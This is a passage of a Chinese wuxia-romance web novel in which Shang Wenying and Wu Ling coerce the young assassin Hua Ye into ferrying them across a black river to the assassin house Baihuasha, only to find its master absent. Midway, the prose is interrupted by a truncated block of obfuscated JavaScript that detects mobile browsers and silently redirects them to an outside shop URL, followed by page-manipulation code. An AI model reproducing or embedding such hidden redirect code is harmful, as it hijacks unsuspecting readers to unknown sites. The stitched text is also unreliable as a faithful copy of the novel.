商闻缨目光疏离:“谁知道你们还会不会合起伙耍什么花招,只有挟制住一人我才能放心,你若想她安全,就老实把我们带到地方便可。”
“燕燕举着刀久了,手也累了,此人就交给我来押吧。”邬凌眸底泛起一丝心疼,与商闻缨对视确认后把花叶押在了自己手上,抬眸看向诡公子时顿生冰寒。
诡公子唇角微扬,继续向前走道:“我没有意见,二位自便。”
“你!你们!”花叶见他对自己坐视不管,气急败坏地想要骂人,一看那锋芒毕露的剑光倒映着自己的脸又咽了回去。
在外头的时候花叶知道这两人需要靠她去百花杀,绝对不会杀了她,但现在不同了,该死的诡公子居然主动带路夺了她的价值……
“你最好乖乖闭嘴。”邬凌狠狠摁下花叶断指上的伤口,似是在报复她刺杀燕燕的行为。
花叶吃痛的叫了一声甩开他的手,额间沁出薄汗,走在前面的诡公子听见声音,袖中的手一紧,抿了抿唇,不曾停下脚步。
周围再度恢复寂静,商闻缨轻笑打趣:“想不到子持私底下是今日的模样,还以为子持虽为武将,但向来文质彬彬,方才种种,威胁起人来倒让人害怕的紧。”
“要在军中行走,自然得有些手腕,”邬凌清咳一声,早知身边姑娘就是燕燕,他就温和些了,话锋一转,“不过——燕燕不也瞒着我澄明阁东家的身份吗?”
“这个嘛,出去和你单独细说,今日到底是子持救了我,也算是还了我之前帮你的小忙。”商闻缨不想在花叶和诡公子面前多言澄明阁相关之事,于是转了话题。
邬凌点点头,回想起花叶所说他们俩都是百花杀主子要杀的人,一时却又想不到共通之处,轻声问道:“燕燕,你可知百花杀为何要杀你?”
“不知,前几日我回府路上遇到了第一个来刺杀我的人,我发现他耳后也有梅花印记,才知道百花杀对我起了杀心,可奇怪的是,那日有个用毒针暗器的人在我出手前杀了他。”
邬凌追问道:“毒针?可否给我看看?”
商闻缨摸了摸腰间,抽出一个小针包,里面只放了那一根毒针,她平日里不会做绣活,这收纳的小包还是从祝无忧那儿顺来的。
“也不知是什么毒,这几日忙碌,我还没来得及去查,而且那人帮了我就跑了,像是怕被我发现似的。”
“若是寻常人救人怕是巴不得让人知道,好讨赏钱,他这样急于逃命,倒有点像怕被百花杀的人发现他的身份。”邬凌沉声分析道。
商闻缨眸光一亮,邬凌倒是和她想到一块去了:“这也是我几日来想不通的地方。”
“江湖中善用暗器的也不多,或许恰好是百花杀的仇家,无意间帮了你,不愿暴露行踪也说不定。”
邬凌蹙眉,这百花杀多年前害了阿母,如今主意都打到燕燕头上了,看来他日后得多多守着燕燕才好。
商闻缨不置可否:“或许吧,待我查了针上之毒再顺藤摸瓜查查,之时要明白是敌是友。”
“我永远不会与燕燕为敌。”
商闻缨听邬凌突如其来的话一愣,莞尔一笑:“这若是在战场,算是子持在向我投诚吗?”
“喂喂喂,我这个百花杀的人还在呢,你们当着我的面讨论百花杀的事,还眉来眼去,是不是太没把我放在眼里了?”
花叶眼珠滴溜溜地转,机灵的紧,趁邬凌想事情,把剑挪的离自己脖子远一些。
“你还是趁现在好好想想,任务失败该如何在百花杀活下去吧。”商闻缨其实挺佩服花叶的,小小年纪便做事老成,担起了接头人的重任,一路走来怕是吃了不少苦头。
只可惜是个与他们作对的人,不然她倒是会考虑下救她一命,说不定会是个新的得力干将。
花叶撇撇嘴,有些丧气地垂下了头,若不是她仅剩的几个亲人还在主子手里,她也不怎么怕死,一命呜呼也能睡个好觉了。
走在前头的诡公子悠悠开口,尽管说的话有些冰冷,但也能听出是对花叶的安慰:“我还没死呢……怕什么。”
只要百花杀那位主子还不让他死,他就还能保下这天真烂漫的小丫头。
眼看着路越走越宽,尽头处竟然是一条河,月色下的河水像浑然一体的玉,黑的像泼了墨,看来这便是商闻缨曾听过的“黑水河”无疑了。
商闻缨见状,询问道:“若是要去百花杀,不会还要渡河吧?”
“那是自然。”花叶得意洋洋道。
“这儿似乎没有船只,如何渡河?”邬凌张望四周,没发现异样。
“向来是花叶摆渡,你们不肯放了她,自然无人为你们撑船。”诡公子指了指邬凌的明心剑,示意他放下。
花叶做了个鬼脸挑衅道:“如今周围又没有杀手,你们两个这么能打,还怕我们不成?”
“姑且信你一回。”
邬凌一把将花叶推向诡公子,她没站稳,双手前扑想去借诡公子的手臂之力站好,不曾想诡公子后退了半步,她失了平衡,就要脸朝地时,一只冰冷的手垫在了她的脸下。
“唔——”花叶扶腰起身,“诡公子,你做好事不做全套,真是够了。”
诡公子神色复杂,摩挲着方才接触花叶肌肤的指尖,他一向厌恶与他人肢体接触,可看到花叶要跌落的一瞬他还是去接了。
“你们等着,我去把船弄来。”花叶倒也不打算与他多计较,拍了拍手上的灰走向旁边暗处。
不过片刻,她便撑着一小舟出现在渡口处。
“这小船最多只能载三人,你们两个和我走,诡公子你就送他们到这吧。”花叶大声对岸上人道。
诡公子为二人让道:“过了河就能看见百花杀的领地,我不便相送,接下来自求多福。”
二人登船,极目远眺,河上雾气弥漫,不见前路,哪怕明知危险,商闻缨与邬凌也有不得不前进的理由。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653390|206049||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>乌鸦坠地,星驰山野,小舟靠岸的那一刻,一座匾额为“百花杀”的楼阁映入眼帘,极尽华丽的装饰与黑市阴暗低沉的氛围格格不入。
商闻缨看得一怔,暗道这得花不少钱吧。
花叶笑道:“漂亮吧,是不是和你们想的不一样,寻常来这买凶的人一看到此景,都不会想到百花杀会建的如此华美。”
“看来你们主子挣了不少黑心银子。”邬凌想到这些雕栏玉砌都是由人命堆积起来的,而里面还有他阿母的命,便恨不得烧了这里。
花叶白了他一眼:“你这人真不会说话,我说你生了副好皮囊,怎么这位姑娘愣是没看上你,还一出手就削我的手指,若是下次见面我们就是仇人了。”
商闻缨看邬凌脸色逐渐阴沉,担心两人当面打起来,摆手道:“咳咳,前面那句倒也不用这么说,你还是带我们先进去吧。”
邬凌听商闻缨这话心中怒火消了大半,顿时悦然,大步跟上已然向前走的二人,看来燕燕对他并非无情,等这回出去了,他定要问问燕燕对他的心意。
走进百花杀内,几名蒙面人上前拦住花叶:“你是何人?”
花叶再次发出老妪苍老的声音:“大胆,我今日未戴假面你们便认不出我了吗?”
“是……是花婆婆,我等冒犯了,您请。”
商闻缨和邬凌跟上花叶的步伐,任凭哪个人知道花叶这样的妙龄少女在百花杀内的绰号却是“花婆婆”,都会意外吧。
一位蒙面人叫住他们道:“若是你要带二位客人去见主子就不必了,今日主子不在。”
花叶脚步一顿,回过头疑惑道:“今日是十五,按规矩主子夜里都会守在此处,今夜这是去哪了?”
“主子的行踪岂是我等可以窥探的,花婆婆不信可以自己去看看。”
花叶见他说的诚恳,只好挥了挥手示意他退下,又把目光移向两位客人,好声好气询问道:“你们也听见了,主子不在,你们若还有想做的交易我可以先带你们去见中间人。”
商闻缨不愿就此放弃,提议道:“我们可以等,离天亮还有时间。”
“笨,主子哪有这么好见,寻常一月只在十五来一回,今日既然不来,你们等多久都无用,更何况便是我都不曾见过主子真面目,若不是你们威胁,我都不会冒险带你们来。”
“那你说的中间人,可能知道你主子的行踪吗?”邬凌亦不肯放弃机会道。
花叶的断指不再流血,却还隐隐作痛,她淡淡开口:“这我如何知晓?中间人权力比我大,且不止一位,你在入口处拿的香囊便是主子赐给中间人的东西,也不知是谁掉的被你捡了去,吓我一跳,差点就被你糊弄了。”
花叶提到梅花香囊,二人便知会有线索,于是答应先去找中间人,此番费了如此大的劲,必然不能空手而归。
偏偏那百花杀首领像是提前知道商闻缨与邬凌会来一般,特地在今夜避开了与二人的会面。